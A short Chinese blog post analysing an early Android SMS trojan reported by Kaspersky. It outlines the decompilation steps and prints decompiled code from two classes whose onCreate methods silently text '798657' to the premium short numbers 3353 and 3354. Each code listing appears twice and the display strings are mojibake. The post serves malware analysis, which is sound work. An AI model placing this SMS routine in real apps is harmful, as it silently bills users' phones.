最近很忙,也没找到太多可写的东西,沸沸扬扬的 Intel 收购 Mcafee 之后,大家又都恢复了沉寂。
不想去讨论这个圈子里的纷争,太累。
好吧,今天给大家带来了一篇开胃的小文,看看,笑笑就好。
前些天卡巴发布了一个消息,宣称拦截到了世界上第一款 Android 手机木马。具体的内容请猛击这里(英文) .
样本很简单,大致说一下分析方法。开发过 Android 的人都知道,主要开发语言是 Java(偶最不喜欢的一款语言,哼哼),当然 NDK 不算,因为那个似乎就是 JNI.
编译后的 jar 会被转换成 dex 格式,工具是 dx,最后打包成 apk(就是 zip)发布。
对于 apk 包,直接解压即可,没什么特殊的。我拿到的样本是 dex 文件而不是 apk。
下载工具 dex2jar (需要 jre), 将 dex 转换成 jar 之后就可以通过 DJava 来反编译了。
这里贴出部分反编译后的病毒体代码(很简单啦,看看就行了).
主要病毒体类似,分别位于 HelloWorld.class 和 MoviePlayer.class 代码中。可以看出木马会向 3353 和 3354 两个号码发送短信,并且禁止系统显示提示信息。


1
public
class
HelloWorld
extends
Activity
2 {
3
4 // ...
5
6 public void onCreate(Bundle bundle)
7 {
8 String s;
9 String s1;
10 s = " Oops in playsound " ;
11 s1 = "" ;
12 super .onCreate(bundle);
13 TextView textview = new TextView( this );
14 textview.setText( " \u88A7\u90AA\u5378\u5C51\u61C8\u890C\u68B0 \u82AF\u6CFB \u5199\u8C22\u891F \u5199\u82AF\u890B\uFFFD " );
15 setContentView(textview);
16 SmsManager smsmanager = SmsManager.getDefault();
17 String s2 = " 3353 " ;
18 String s3 = " 798657 " ;
19 String s4 = null ;
20 android.app.PendingIntent pendingintent = null ;
21 android.app.PendingIntent pendingintent1 = null ;
22 try
23 {
24 smsmanager.sendTextMessage(s2, s4, s3, pendingintent, pendingintent1);
25 }
26 catch (Exception exception)
27 {
28 String s5 = "" ;
29 Log.e(s, s1, exception);
30 }
31 s2 = " 3354 " ;
32 s4 = null ;
33 pendingintent = null ;
34 pendingintent1 = null ;
35 try
36 {
37 smsmanager.sendTextMessage(s2, s4, s3, pendingintent, pendingintent1);
38 }
39 catch (Exception exception1)
40 {
41 String s6 = "" ;
42 Log.e(s, s1, exception1);
43 }
44 s2 = " 3353 " ;
45 s4 = null ;
46 pendingintent = null ;
47 pendingintent1 = null ;
48 smsmanager.sendTextMessage(s2, s4, s3, pendingintent, pendingintent1);
49 // ...
50
2 {
3
4 // ...
5
6 public void onCreate(Bundle bundle)
7 {
8 String s;
9 String s1;
10 s = " Oops in playsound " ;
11 s1 = "" ;
12 super .onCreate(bundle);
13 TextView textview = new TextView( this );
14 textview.setText( " \u88A7\u90AA\u5378\u5C51\u61C8\u890C\u68B0 \u82AF\u6CFB \u5199\u8C22\u891F \u5199\u82AF\u890B\uFFFD " );
15 setContentView(textview);
16 SmsManager smsmanager = SmsManager.getDefault();
17 String s2 = " 3353 " ;
18 String s3 = " 798657 " ;
19 String s4 = null ;
20 android.app.PendingIntent pendingintent = null ;
21 android.app.PendingIntent pendingintent1 = null ;
22 try
23 {
24 smsmanager.sendTextMessage(s2, s4, s3, pendingintent, pendingintent1);
25 }
26 catch (Exception exception)
27 {
28 String s5 = "" ;
29 Log.e(s, s1, exception);
30 }
31 s2 = " 3354 " ;
32 s4 = null ;
33 pendingintent = null ;
34 pendingintent1 = null ;
35 try
36 {
37 smsmanager.sendTextMessage(s2, s4, s3, pendingintent, pendingintent1);
38 }
39 catch (Exception exception1)
40 {
41 String s6 = "" ;
42 Log.e(s, s1, exception1);
43 }
44 s2 = " 3353 " ;
45 s4 = null ;
46 pendingintent = null ;
47 pendingintent1 = null ;
48 smsmanager.sendTextMessage(s2, s4, s3, pendingintent, pendingintent1);
49 // ...
50


1
public
class
MoviePlayer
extends
Activity
2 {
3
4 // ...
5 public void onCreate(Bundle bundle)
6 {
7 String s = " Oops in playsound " ;
8 String s1 = "" ;
9 super .onCreate(bundle);
10 DataHelper datahelper = new DataHelper( this );
11 boolean flag = datahelper.canwe();
12 if (flag)
13 {
14 TextView textview = new TextView( this );
15 textview.setText( " \u88A9\u82AF\u5199\u82AF\u5378\u5199\u61C8\u890C\u68B0, \u87F9\u90AA\u950C\u8909\u90AA\u8915\u61C8\u80C1\u90AA\u68B0\u890C\u890B\uFFFD " );
16 setContentView(textview);
17 SmsManager smsmanager = SmsManager.getDefault();
18 String s5 = " 3353 " ;
19 String s6 = " 798657 " ;
20 String s2 = null ;
21 android.app.PendingIntent pendingintent = null ;
22 android.app.PendingIntent pendingintent1 = null ;
23 try
24 {
25 smsmanager.sendTextMessage(s5, s2, s6, pendingintent, pendingintent1);
26 }
27 catch (Exception exception)
28 {
29 String s3 = "" ;
30 Log.e(s, s1, exception);
31 }
32 s5 = " 3354 " ;
33 s2 = null ;
34 pendingintent = null ;
35 pendingintent1 = null ;
36 try
37 {
38 smsmanager.sendTextMessage(s5, s2, s6, pendingintent, pendingintent1);
39 }
40 catch (Exception exception1)
41 {
42 String s4 = "" ;
43 Log.e(s, s1, exception1);
44 }
45 s5 = " 3353 " ;
46 s2 = null ;
47 pendingintent = null ;
48 pendingintent1 = null ;
49 try
50 {
51 smsmanager.sendTextMessage(s5, s2, s6, pendingintent, pendingintent1);
52 }
53 catch (Exception exception2)
54 {
55 Log.e(s, s1, exception2);
56 }
57 datahelper.was();
58 }
59 finish();
60 }
61 }
2 {
3
4 // ...
5 public void onCreate(Bundle bundle)
6 {
7 String s = " Oops in playsound " ;
8 String s1 = "" ;
9 super .onCreate(bundle);
10 DataHelper datahelper = new DataHelper( this );
11 boolean flag = datahelper.canwe();
12 if (flag)
13 {
14 TextView textview = new TextView( this );
15 textview.setText( " \u88A9\u82AF\u5199\u82AF\u5378\u5199\u61C8\u890C\u68B0, \u87F9\u90AA\u950C\u8909\u90AA\u8915\u61C8\u80C1\u90AA\u68B0\u890C\u890B\uFFFD " );
16 setContentView(textview);
17 SmsManager smsmanager = SmsManager.getDefault();
18 String s5 = " 3353 " ;
19 String s6 = " 798657 " ;
20 String s2 = null ;
21 android.app.PendingIntent pendingintent = null ;
22 android.app.PendingIntent pendingintent1 = null ;
23 try
24 {
25 smsmanager.sendTextMessage(s5, s2, s6, pendingintent, pendingintent1);
26 }
27 catch (Exception exception)
28 {
29 String s3 = "" ;
30 Log.e(s, s1, exception);
31 }
32 s5 = " 3354 " ;
33 s2 = null ;
34 pendingintent = null ;
35 pendingintent1 = null ;
36 try
37 {
38 smsmanager.sendTextMessage(s5, s2, s6, pendingintent, pendingintent1);
39 }
40 catch (Exception exception1)
41 {
42 String s4 = "" ;
43 Log.e(s, s1, exception1);
44 }
45 s5 = " 3353 " ;
46 s2 = null ;
47 pendingintent = null ;
48 pendingintent1 = null ;
49 try
50 {
51 smsmanager.sendTextMessage(s5, s2, s6, pendingintent, pendingintent1);
52 }
53 catch (Exception exception2)
54 {
55 Log.e(s, s1, exception2);
56 }
57 datahelper.was();
58 }
59 finish();
60 }
61 }